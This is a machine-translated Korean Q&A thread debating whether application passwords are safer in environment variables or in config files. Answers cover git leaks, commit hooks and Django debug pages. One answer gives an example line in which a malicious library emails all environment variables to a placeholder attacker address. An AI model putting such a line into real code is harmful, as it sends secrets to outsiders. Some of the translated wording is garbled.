[ruby-on-rails] 구성 파일에 암호를 일반 텍스트가 아닌 환경 변수로 저장하는 것이 안전합니까?

저는 rails, django (그리고 약간의 PHP)에서 몇 가지 앱을 작업하고 있으며, 그중 일부에서 시작한 작업 중 하나는 특정 구성 파일에 일반 텍스트가 아닌 환경 변수로 데이터베이스 및 기타 암호를 저장하는 것입니다. 또는 django 앱의 경우 settings.py에서).

제 협력자 중 한 명과이 문제를 논의하면서 그는 이것이 열악한 관행이라고 제안했습니다. 아마도 이것은 처음에 보이는 것처럼 완벽하게 안전하지 않을 수도 있습니다.

그래서 저는 알고 싶습니다-이것이 안전한 관행입니까? 암호를 이러한 파일에 일반 텍스트로 저장하는 것이 더 안전합니까 (물론 이러한 파일을 공용 저장소 등에 두지 않도록하십시오)?



답변

좀 더 이론적 인 수준에서는 보안 수준에 대해 다음과 같은 방식으로 생각하는 경향이 있습니다 (강도 증가 순서).

  • 보안이 없습니다. 일반 텍스트. 어디를 찾아야하는지 아는 사람은 누구나 데이터에 액세스 할 수 있습니다.
  • 난독 화에 의한 보안. 데이터 (일반 텍스트)를 환경 변수와 같이 까다로운 곳에 저장하거나 구성 파일처럼 보이게하는 파일에 저장합니다. 공격자는 결국 무슨 일이 일어나고 있는지 알아 내거나 우연히 발견하게됩니다.
  • 깨지기 쉬운 암호화에 의해 제공되는 보안 (caesar 암호를 생각해보십시오!).
  • 약간의 노력으로 깨질 수있는 암호화에 의해 제공되는 보안.
  • 현재 하드웨어를 손상시키는 것은 비현실적인 암호화에 의해 제공되는 보안입니다.
  • 가장 안전한 시스템은 아무도 사용할 수없는 시스템입니다! 🙂

환경 변수는 저장되지 않고 휘발성 / 일회용이기 때문에 일반 텍스트 파일보다 안전합니다. 즉, “set pwd = whatever”와 같은 로컬 환경 변수 만 설정 한 다음 스크립트 끝에서 명령 셸을 종료하는 스크립트를 실행하면 변수가 더 이상 존재하지 않습니다. 귀하의 사건은 처음 두 가지에 해당합니다. 상당히 안전하지 않다고 말하고 싶습니다. 이렇게하려면 직접 인트라넷 / 홈 네트워크 외부에 배포하고 테스트 목적으로 만 배포하는 것이 좋습니다.


답변

앞에서 언급했듯이 두 방법 모두 시스템이 손상되면 추가 “보안”계층을 제공하지 않습니다. 환경 변수를 선호하는 가장 강력한 이유 중 하나는 버전 제어 라고 생각합니다. 다른 모든 개발자가 볼 수 있도록 GIT와 같은 버전 제어 시스템에 실수로 너무 많은 데이터베이스 구성 등이 저장되는 것을 보았습니다. 나도 …).

암호를 파일에 저장하지 않으면 버전 관리 시스템에 저장할 수 없습니다.


답변

암호를 저장해야 할 때마다 안전하지 않습니다. 기간. 암호화되지 않은 암호를 안전하게 저장할 수있는 방법은 없습니다. 이제 환경 변수와 구성 파일 중 어느 것이 더 “안전한지”논쟁의 여지가 있습니다. IMHO, 시스템이 손상된 경우 저장 위치는 중요하지 않으며 성실한 해커가이를 추적 할 수 있습니다.


답변

댓글을 달 수있는 담당자가 충분하지 않아서 죄송하지만주의하지 않으면 쉘이 명령 기록에서도 해당 암호를 캡처 할 수 있다는 점을 추가하고 싶었습니다. 따라서 $ pwd=mypassword my_prog수동 과 같은 것을 실행하는 것은 예상했던 것만 큼 일시적인 것은 아닙니다.


답변

가능한 경우 자격 증명을 환경 변수가 아닌 gitignored 파일에 저장해야한다고 생각합니다.

ENV (환경) 변수와 파일에 자격 증명을 저장할 때 고려해야 할 사항 중 하나는 ENV 변수를 사용하는 라이브러리 또는 종속성에서 매우 쉽게 검사 할 수 있다는 것입니다.

이것은 악의적으로 수행 될 수도 있고 그렇지 않을 수도 있습니다. 예를 들어 라이브러리 작성자는 디버깅을 위해 스택 추적과 ENV 변수를 이메일로 보낼 수 있습니다 (모범 사례는 아니지만 가능함).

자격 증명이 파일에 있으면 정점에 도달하는 것이 훨씬 더 어렵습니다.

특히 노드의 npm에 대해 생각해보십시오. 자격 증명이 ENV에있는 경우 npm이 자격 증명을 보는 것은 process.ENV. 반면에 파일에 있으면 훨씬 더 많은 작업이 수행됩니다.

자격 증명 파일의 버전이 제어되는지 여부는 별도의 질문입니다. 자격 증명 파일을 버전 제어하지 않으면 더 적은 사람에게 노출됩니다. 모든 개발자가 프로덕션 자격 증명을 알 필요는 없습니다. 이것은 최소 권한 원칙에 부합하므로 자격 증명 파일을 무시하는 것이 좋습니다.


답변

위협 모델에 따라 다릅니다.

사용자가 잊혀지고 잘못 처리 될 가능성이있는 파일 시스템 전체에 암호를 흩 뿌리는 것을 방지하려고합니까? 그렇다면 환경 변수가 파일보다 영구적이지 않기 때문에 그렇습니다.

프로그램을 직접 표적으로 삼는 악의적 인 무언가로부터 보호하려고합니까? 그렇다면 환경 변수에는 파일과 동일한 수준의 액세스 제어가 없기 때문에 아니요입니다.

개인적으로 부주의 한 사용자가 동기 부여 된 적보다 더 흔하다고 생각하므로 환경 변수 접근 방식을 사용하겠습니다.


답변

AFAICT, 사람들이 환경 변수에 비밀 저장을 권장하는 두 가지 이유가 있습니다.

  1. 실수로 비밀 플랫 파일을 저장소에 커밋하는 것은 너무 쉽습니다. (그리고 그것이 공개 저장소라면 건배입니다.)
  2. 즉, 여러 프로젝트 디렉토리 파일에서 동일한 키를 갖는 것은 개발자가 결국 비밀이있는 위치를 추적하지 못하기 때문에 그 자체로 보안 위험이됩니다.

이 두 가지 문제는 더 나은 방법으로 해결할 수 있습니다. 전자는 암호처럼 보이는 것을 확인하는 git commit hook (예 : gitleaks ) 로 해결해야합니다 . Linus가 그러한 도구를 git 라이브러리의 소스 코드에 빌드했으면 좋겠지 만, 아쉽게도 그렇게되지 않았습니다. (말할 필요도없이 비밀 파일은 항상에 추가되어야 .gitignore하지만 누군가가 그렇게하는 것을 잊을 경우를 대비하여 후크가 필요합니다.)

후자는 읽기 전용 공유 드라이브에 이상적으로 저장되는 글로벌 회사 비밀 파일을 사용하여 해결할 수 있습니다. 따라서 Python에서는 from company_secrets import *.

더 중요한 것은 다른 사람들이 지적했듯이 환경 변수에 저장된 비밀을 해킹하기가 너무 쉽다는 것입니다. 예를 들어 Python에서는 라이브러리 작성자가 삽입 send_email(address="evil.person@evil.com", text=json.dumps(os.environ))할 수 있으며이 코드를 실행하면 건배합니다. 해킹은 시스템에 ~/secret_company_stuff/.my_very_secret_company_stuff.

Django 사용자 만 해당 :
Django (DEBUG 모드)는 예외가있는 경우 (DEBUG 모드에서) 브라우저에 환경 변수의 원시 값을 표시합니다. 예를 들어 개발자가 실수 DEBUG=True로 프로덕션에 설정하는 경우 이는 매우 안전하지 않은 것 같습니다 . 반면, 장고는 문자열을보고 난독 암호 설정 변수를합니까 API, TOKEN, KEY, SECRET, PASS또는 SIGNATURE프레임 워크의에서 settings.py파일의 변수 이름.